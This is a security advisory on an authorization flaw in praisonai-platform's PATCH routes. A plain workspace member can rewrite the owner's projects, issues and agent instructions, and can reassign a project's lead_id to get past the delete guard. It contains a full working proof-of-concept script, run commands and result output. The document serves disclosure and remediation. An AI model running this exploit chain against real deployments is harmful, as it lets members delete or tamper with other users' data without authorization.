CVE-2026-61442: PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass

# Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass ## Summary `praisonai-platform` lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch `lead_id` to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned `403` before the reassignment. ## Technical Details The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". `src/praisonai-platform/praisonai_platform/api/deps.py` defines `require_workspace_member`, `require_workspace_admin`, `require_workspace_owner`, and `require_delete_permission`. `require_workspace_member` only checks that the caller has at least the `member` role in the workspace, while `require_delete_permission` allows delete only for workspace admins/owners or the resource owner. The project update route in `src/praisonai-platform/praisonai_platform/api/routes/projects.py` defines `PATCH /workspaces/{workspace_id}/projects/{project_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. It passes `title`, `description`, `status`, `lead_type`, and `lead_id` into `ProjectService.update`. `src/praisonai-platform/praisonai_platform/services/project_service.py` then writes `project.lead_id = lead_id` when supplied. The paired project delete route first loads the project and calls `require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`. This means an ordinary member can mutate the ownership field that the delete route later trusts. The same update/delete asymmetry exists for issues and agents. `src/praisonai-platform/praisonai_platform/api/routes/issues.py` defines `PATCH /workspaces/{workspace_id}/issues/{issue_id}` with only `require_workspace_member`, validates referenced ids are in the workspace, then calls `IssueService.update` to write fields including `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`. The paired delete route checks `resource_owner_id=issue.creator_id`. `src/praisonai-platform/praisonai_platform/api/routes/agents.py` defines `PATCH /workspaces/{workspace_id}/agents/{agent_id}` with only `require_workspace_member` and calls `AgentService.update` to write fields including `instructions`, `runtime_mode`, and `runtime_config`; the paired delete route checks `resource_owner_id=agent.owner_id`. The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard. ## PoV the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service. Essential excerpt: ```python direct_delete_project = await client.delete( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=member_headers, ) patch_project = await client.patch( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", json={ "title": "Member-controlled project", "status": "active", "lead_type": "member", "lead_id": member_id, }, headers=member_headers, ) delete_project_after_takeover = await client.delete( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=member_headers, ) patch_issue = await client.patch( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", json={"title": "Member rewrote owner issue", "status": "done"}, headers=member_headers, ) patch_agent = await client.patch( f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}", json={"instructions": "member-controlled instructions", "status": "idle"}, headers=member_headers, ) outsider_patch_issue = await client.patch( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", json={"title": "outsider attempt"}, headers=outsider_headers, ) ``` The full PoV script is included in the appendix below as `pov_platform_member_update_bypass.py`. ## PoC Current head tested: ```text 846568c7a5d8ce9e71e56e4c213f027c04909753 2026-06-17T20:13:04+01:00 chore: clean up redundant 'persist-credentials' entries in GitHub workflows ``` Run against a local checkout of current head: ```sh uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json ``` Decisive current-head output: ```json { "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753", "workspace_role": "member", "checks": { "member_direct_project_delete_before_patch": 403, "member_project_patch_lead_to_self": 200, "member_project_delete_after_lead_takeover": 204, "owner_get_project_after_member_delete": 404, "member_issue_patch": 200, "owner_observes_member_issue_title": "Member rewrote owner issue", "member_issue_delete_after_patch": 403, "member_agent_patch": 200, "owner_observes_member_agent_instructions": "member-controlled instructions", "member_agent_delete_after_patch": 403, "non_member_issue_patch": 403 }, "vulnerable": true } ``` Run against the latest PyPI package observed during testing: ```sh uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json ``` Decisive latest-PyPI output: ```json { "source": "pypi:praisonai-platform==0.1.8", "workspace_role": "member", "checks": { "member_direct_project_delete_before_patch": 403, "member_project_patch_lead_to_self": 200, "member_project_delete_after_lead_takeover": 204, "owner_get_project_after_member_delete": 404, "member_issue_patch": 200, "owner_observes_member_issue_title": "Member rewrote owner issue", "member_issue_delete_after_patch": 403, "member_agent_patch": 200, "owner_observes_member_agent_instructions": "member-controlled instructions", "member_agent_delete_after_patch": 403, "non_member_issue_patch": 403 }, "vulnerable": true } ``` Version sweep excerpt: ```text praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior. praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403. praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403. ``` ## Impact An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning `lead_id` through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior. Suggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` (7.1). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact. ## Suggested Fix Apply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route's owner/admin check for PATCH routes, or introduce a `require_update_permission` helper that allows workspace admins/owners and the relevant resource owner only. For projects, do not let an ordinary member set `lead_id` on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role. Add regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project `lead_id` to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives `403`. ## Affected Package/Versions Affected package: `pypi:praisonai-platform`. Latest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected. The owner/admin update authorization gap is confirmed in sampled versions `0.1.4`, `0.1.6`, `0.1.8`, and current head. The specific project delete-guard bypass through `lead_id` reassignment is confirmed in `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member deletes already returned `204`, so the lead-reassignment chain is masked by a broader older delete issue. Suggested affected range for the update authorization gap: `pypi:praisonai-platform >=0.1.4, <=0.1.8`. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: `pypi:praisonai-platform >=0.1.6, <=0.1.8`. No fixed version or fix commit was observed. ## Advisory History Visible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project `lead_id` delete-guard bypass. `GHSA-rh39-9c67-59mh`, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with `403`, then PATCH succeeds, then DELETE succeeds only after `lead_id` is reassigned through the update route. `GHSA-2fjj-qqg8-fg7x`, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled `project_id` reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records. `GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning `403`. ## References - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7` - `https://cwe.mitre.org/data/definitions/862.html` - `https://cwe.mitre.org/data/definitions/863.html` ## Appendix A - Longer Version Sweep ```text === praisonai-platform 0.1.4 === "member_direct_project_delete_before_patch": 204 "member_project_patch_lead_to_self": 404 "member_issue_patch": 200 "member_agent_patch": 200 "member_issue_delete_after_patch": 204 "member_agent_delete_after_patch": 204 "non_member_issue_patch": 403 === praisonai-platform 0.1.6 === "member_direct_project_delete_before_patch": 403 "member_project_patch_lead_to_self": 200 "member_project_delete_after_lead_takeover": 204 "owner_get_project_after_member_delete": 404 "member_issue_patch": 200 "member_issue_delete_after_patch": 403 "member_agent_patch": 200 "member_agent_delete_after_patch": 403 "non_member_issue_patch": 403 === praisonai-platform 0.1.8 === "member_direct_project_delete_before_patch": 403 "member_project_patch_lead_to_self": 200 "member_project_delete_after_lead_takeover": 204 "owner_get_project_after_member_delete": 404 "member_issue_patch": 200 "member_issue_delete_after_patch": 403 "member_agent_patch": 200 "member_agent_delete_after_patch": 403 "non_member_issue_patch": 403 ``` ## Appendix B - Full PoV Script Save this as `pov_platform_member_update_bypass.py` before running the PoC commands above. ```python #!/usr/bin/env python3 """PoV for PraisonAI Platform same-workspace member update bypass.""" from __future__ import annotations import argparse import asyncio import json import os import sys from pathlib import Path from typing import Any def _load_local_source(repo: Path | None) -> None: if repo is None: return platform_root = repo / "src" / "praisonai-platform" agents_root = repo / "src" / "praisonai-agents" for path in (str(platform_root), str(agents_root)): if path not in sys.path: sys.path.insert(0, path) async def _register(client: Any, email: str, name: str) -> tuple[str, str]: response = await client.post( "/api/v1/auth/register", json={"email": email, "password": "Password1!", "name": name}, ) if response.status_code >= 400: raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}") body = response.json() return body["token"], body["user"]["id"] async def _run(repo: Path | None) -> dict[str, Any]: os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum" _load_local_source(repo) from httpx import ASGITransport, AsyncClient from sqlalchemy.ext.asyncio import create_async_engine from praisonai_platform.api.app import create_app from praisonai_platform.db import base as base_mod from praisonai_platform.db.base import Base, reset_engine await reset_engine() engine = create_async_engine( "sqlite+aiosqlite:///:memory:", echo=False, connect_args={"check_same_thread": False}, ) base_mod._engine = engine base_mod._session_factory = None async with engine.begin() as conn: await conn.run_sync(Base.metadata.create_all) app = create_app() transport = ASGITransport(app=app) async with AsyncClient(transport=transport, base_url="http://local-poc") as client: owner_token, owner_id = await _register(client, "[email protected]", "Owner") member_token, member_id = await _register(client, "[email protected]", "Member") outsider_token, _ = await _register(client, "[email protected]", "Outsider") owner_headers = {"Authorization": f"Bearer {owner_token}"} member_headers = {"Authorization": f"Bearer {member_token}"} outsider_headers = {"Authorization": f"Bearer {outsider_token}"} ws_resp = await client.post( "/api/v1/workspaces/", json={"name": "Shared Workspace", "slug": "shared-workspace"}, headers=owner_headers, ) ws_resp.raise_for_status() workspace_id = ws_resp.json()["id"] add_member = await client.post( f"/api/v1/workspaces/{workspace_id}/members", json={"user_id": member_id, "role": "member"}, headers=owner_headers, ) add_member.raise_for_status() project_resp = await client.post( f"/api/v1/workspaces/{workspace_id}/projects/", json={ "title": "Owner project", "description": "Owned by the workspace owner", "lead_type": "member", "lead_id": owner_id, }, headers=owner_headers, ) project_resp.raise_for_status() project_id = project_resp.json()["id"] direct_delete_project = await client.delete( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=member_headers, ) patch_project = await client.patch( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", json={ "title": "Member-controlled project", "status": "active", "lead_type": "member", "lead_id": member_id, }, headers=member_headers, ) delete_project_after_takeover = await client.delete( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=member_headers, ) owner_get_deleted_project = await client.get( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=owner_headers, ) issue_resp = await client.post( f"/api/v1/workspaces/{workspace_id}/issues/", json={"title": "Owner issue", "priority": "high"}, headers=owner_headers, ) issue_resp.raise_for_status() issue_id = issue_resp.json()["id"] patch_issue = await client.patch( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", json={"title": "Member rewrote owner issue", "status": "done"}, headers=member_headers, ) owner_get_issue = await client.get( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", headers=owner_headers, ) delete_issue = await client.delete( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", headers=member_headers, ) agent_resp = await client.post( f"/api/v1/workspaces/{workspace_id}/agents/", json={"name": "OwnerAgent", "instructions": "owner-only instructions"}, headers=owner_headers, ) agent_resp.raise_for_status() agent_id = agent_resp.json()["id"] patch_agent = await client.patch( f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}", json={"instructions": "member-controlled instructions", "status": "idle"}, headers=member_headers, ) owner_get_agent = await client.get( f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}", headers=owner_headers, ) delete_agent = await client.delete( f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}", headers=member_headers, ) outsider_patch_issue = await client.patch( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", json={"title": "outsider attempt"}, headers=outsider_headers, ) await engine.dispose() base_mod._engine = None base_mod._session_factory = None owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {} owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {} patch_project_body = patch_project.json() if patch_project.status_code == 200 else {} checks = { "member_direct_project_delete_before_patch": direct_delete_project.status_code, "member_project_patch_lead_to_self": patch_project.status_code, "member_project_delete_after_lead_takeover": delete_project_after_takeover.status_code, "owner_get_project_after_member_delete": owner_get_deleted_project.status_code, "member_issue_patch": patch_issue.status_code, "owner_observes_member_issue_title": owner_issue_body.get("title"), "member_issue_delete_after_patch": delete_issue.status_code, "member_agent_patch": patch_agent.status_code, "owner_observes_member_agent_instructions": owner_agent_body.get("instructions"), "member_agent_delete_after_patch": delete_agent.status_code, "non_member_issue_patch": outsider_patch_issue.status_code, } vulnerable = ( checks["member_direct_project_delete_before_patch"] == 403 and checks["member_project_patch_lead_to_self"] == 200 and patch_project_body.get("lead_id") == member_id and checks["member_project_delete_after_lead_takeover"] == 204 and checks["owner_get_project_after_member_delete"] == 404 and checks["member_issue_patch"] == 200 and checks["owner_observes_member_issue_title"] == "Member rewrote owner issue" and checks["member_issue_delete_after_patch"] == 403 and checks["member_agent_patch"] == 200 and checks["owner_observes_member_agent_instructions"] == "member-controlled instructions" and checks["member_agent_delete_after_patch"] == 403 and checks["non_member_issue_patch"] == 403 ) return { "package": "praisonai-platform", "source": _source_id(repo), "workspace_role": "member", "summary": "A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.", "checks": checks, "vulnerable": vulnerable, } def _source_id(repo: Path | None) -> str: if repo is None: import importlib.metadata return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}" import subprocess rev = subprocess.check_output( ["git", "-C", str(repo), "rev-parse", "HEAD"], text=True, ).strip() return f"git:{rev}" def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--repo", type=Path) parser.add_argument("--json", action="store_true") args = parser.parse_args() result = asyncio.run(_run(args.repo.resolve() if args.repo else None)) if args.json: print(json.dumps(result, indent=2, sort_keys=True)) else: for key, value in result["checks"].items(): print(f"{key}: {value}") print(f"vulnerable: {result['vulnerable']}") return 0 if result["vulnerable"] else 1 if __name__ == "__main__": raise SystemExit(main()) ```